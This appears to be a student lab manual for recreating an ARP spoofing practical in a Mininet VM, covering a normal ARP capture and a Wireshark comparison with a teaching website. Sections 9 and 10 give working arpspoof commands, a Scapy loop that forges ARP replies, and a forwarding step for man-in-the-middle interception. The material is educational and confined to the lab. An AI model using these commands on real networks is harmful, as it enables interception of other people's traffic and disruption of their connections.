

ARP Practical Recreation Instruction Manual

SIT716 HD Plus Project - Interactive Enterprise Network Protocol Simulator

Purpose: This manual explains how another user can recreate the ARP practical environment locally, import the provided OVA file, run normal ARP and ARP spoofing tests, capture packets in Wireshark, and compare the results with the website simulation.

Project artefacts: ARP Google Drive folder containing the OVA, PCAP files, and supporting evidence. Website page section: ARP Reproduction Package.

Important: The exact hostnames and IP addresses may vary if the topology file was changed. The example commands below use the ARP practical evidence pattern shown in the project: victim/client, legitimate host or gateway, and attacker connected to a simple switched topology.

1. Required Software and Files

- Oracle VirtualBox installed on the local computer.
- The ARP project OVA file downloaded from the ARP Google Drive folder.
- ARP PCAP or PCAPNG evidence files downloaded from the same folder.
- A machine with enough storage and memory to run the Ubuntu VM comfortably.
- Wireshark available inside the VM or installed on the local computer for opening PCAP files.

2. Download the ARP Project Artefacts

Create a local folder for the practical package, for example **SIT716_ARP_Practical**. Download the OVA, PCAP files, and any notes into this folder. Keep the names unchanged so the evidence can be traced back to the website sections.

```
Suggested local folder structure:
SIT716_ARP_Practical/
ova/
pcaps/
screenshots/
notes/
```

3. Import the Ubuntu OVA into VirtualBox

Use the VirtualBox graphical import process. This step recreates the prepared Ubuntu environment instead of requiring the user to manually install all lab tools from the beginning.

- Open Oracle VirtualBox.
- Select File -> Import Appliance.
- Choose the downloaded .ova file from the ARP package.
- Keep the default VM settings unless the local computer has limited resources.
- Recommended starting configuration: at least 2 CPU cores and 4 GB RAM if available.
- Click Finish or Import and wait until the import completes.
- Start the imported VM and confirm that Ubuntu loads successfully.

If VirtualBox reports a network adapter warning, accept the default NAT/host-only settings first, then boot the VM. The ARP practical mainly uses the internal Mininet topology, so the recreated packet flow is generated inside the VM.

4. Confirm the Lab Tools inside Ubuntu

After the VM starts, open a terminal and verify that the required tools are available. The commands below are safe checks and do not change the system.

```
which python3
which wireshark
which mn
find /usr -iname "miniedit.py" 2>/dev/null | head
```

Expected result: the terminal should show paths for Python, Wireshark, Mininet, and MiniEdit. If MiniEdit is not directly visible in the application menu, it can usually be started from its Python file path.

5. Open MiniEdit and Load or Build the ARP Topology

The ARP practical uses a simple switched topology with a victim/client, a legitimate host or gateway, and an attacker. If the OVA includes a saved topology file, open it in MiniEdit. If no saved file is present, create one switch and three hosts connected to the switch.

```
Example MiniEdit launch command if needed:
sudo python3 /usr/lib/python3/dist-packages/mininet/examples/miniedit.py
```

```
If the path differs, use the path returned by:
find /usr -iname "miniedit.py" 2>/dev/null | head
```

MiniEdit topology setup:

- Add one switch: s1.
- Add three hosts: h1, h2, and h3.
- Connect h1, h2, and h3 to s1.
- Use h1 as the victim/client.
- Use h2 as the legitimate host or gateway target.
- Use h3 as the attacker.
- Start the topology by pressing Run.

6. Assign or Confirm IP Addresses

In the Mininet CLI or host terminals, confirm the IP addresses. The evidence screenshots used in the project show ARP traffic around the 192.168.50.0/24 network. Use the following example if the topology requires manual IP configuration.

```
Mininet CLI example:
h1 ifconfig h1-eth0 192.168.50.1/24
h2 ifconfig h2-eth0 192.168.50.10/24
h3 ifconfig h3-eth0 192.168.50.219/24

Verify:
h1 ip addr show h1-eth0
h2 ip addr show h2-eth0
h3 ip addr show h3-eth0
```

If your OVA uses different IP addresses, keep the provided topology settings and substitute those values in the later commands.

7. Start Wireshark Capture

Wireshark should capture on the switch or host interface where the ARP traffic is visible. In the project screenshots, the capture interface appears as a switch-side interface such as **s1-eth1**. The exact interface may differ.

```
Open Wireshark from the GUI, or run:
sudo wireshark &

Useful display filter:
arp or icmp

For ARP-only evidence:
arp
```

Start the capture before running the ping or spoofing command. This ensures the ARP request and reply frames are captured from the beginning.

8. Recreate Normal ARP Behaviour

Normal ARP behaviour can be triggered by clearing the ARP cache and pinging from the victim to the legitimate host. The victim should broadcast an ARP request and receive a legitimate ARP reply.

```
From Mininet CLI:
h1 ip neigh flush all
h1 ping -c 4 192.168.50.10

Check the ARP cache:
h1 arp -n
# or
h1 ip neigh
```

Expected Wireshark evidence:

- ARP request: Who has 192.168.50.10? Tell 192.168.50.1.
- ARP reply: 192.168.50.10 is at the legitimate MAC address.
- ICMP echo request/reply traffic after ARP resolution succeeds.

9. Recreate ARP Spoofing / Poisoning Behaviour

The attack scenario demonstrates a forged ARP reply. The attacker claims ownership of another device IP address, causing the victim to store an incorrect IP-to-MAC mapping. Use the command set that matches the tools available in your VM.

Option A - using arpspoof if available:

```
Open attacker terminal for h3, then run:
sudo arpspoof -i h3-eth0 -t 192.168.50.1 192.168.50.10

Optional reverse poisoning, if testing MITM forwarding:
sudo arpspoof -i h3-eth0 -t 192.168.50.10 192.168.50.1
```

Option B - using Scapy if arpspoof is not available:

```
Open attacker terminal for h3, then run:
sudo python3 - <<'PY'
from scapy.all import ARP, send
import time
victim_ip = "192.168.50.1"
spoofed_ip = "192.168.50.10"
while True:
    pkt = ARP(op=2, pdst=victim_ip, psrc=spoofed_ip)
    send(pkt, verbose=False)
    time.sleep(1)
PY
```

Keep Wireshark running during the attack. The important packet-level evidence is a forged ARP reply where the attacker MAC claims to represent the legitimate IP address.

10. Optional: Enable Forwarding for MITM Impact Test

If the attack demonstration needs to show redirected traffic rather than only poisoned ARP cache entries, enable IP forwarding on the attacker host. This allows the attacker to forward traffic instead of simply breaking communication.

```
On attacker host h3:
sudo sysctl -w net.ipv4.ip_forward=1

Then generate traffic again from victim h1:
h1 ping -c 6 192.168.50.10
```

Expected evidence: ICMP traffic continues but ARP frames show poisoned MAC mapping or abnormal redirection behaviour.

11. Save Evidence Files

Save the Wireshark captures so they can be compared with the website screenshots and uploaded evidence. Use clear names that match the website image evidence.

Recommended PCAP names:
arp-normal-request-reply.pcapng
arp-spoofed-reply-evidence.pcapng
arp-poisoned-traffic-impact.pcapng

Recommended screenshot names:

Evidence	Recommended file name
Normal ARP request	arp-normal-request-evidence.png
Legitimate ARP reply	arp-normal-reply-evidence.png
Spoofed ARP reply	arp-spoofed-reply-evidence.png
Poisoned traffic impact	arp-poisoned-traffic-icmp-redirect-evidence.png

12. Compare with the Website Simulation

After capturing the evidence, open the ARP page in the website and run the predefined normal and attack demonstrations. Compare each website event log with the packet-level evidence in Wireshark.

- Website normal demo: should represent ARP request and legitimate ARP reply.
- Website attack demo: should represent forged ARP reply and traffic redirection through the attacker.
- Manual validation: should allow supported local ARP paths and reject wrong-branch or invalid inputs.
- Wireshark evidence: should prove that the ARP request, reply, spoofed reply, and traffic impact occurred in the practical lab.

13. Troubleshooting Checklist

Issue	Fix
No ARP packets visible	Clear the ARP cache and start Wireshark before pinging. Use filter arp or arp or icmp.
Ping works but no ARP appears	The ARP cache may already contain the mapping. Run ip neigh flush all on the client.
arpspooof command not found	Use the Scapy method or install dsniff if internet access is available.
VM import fails	Check available disk space, re-download the OVA, and retry File -> Import Appliance.
Wrong interface selected in Wireshark	Capture on the switch or host interface that shows ARP broadcasts, commonly s1-eth1 or host eth0.

14. Final Evidence Expected for Submission or Demonstration

A complete recreation should produce: (1) working imported Ubuntu VM, (2) MiniEdit/Mininet topology, (3) normal ARP request/reply capture, (4) spoofed ARP reply capture, (5) poisoned traffic or impact capture, and (6) a comparison with the website simulation log and animation.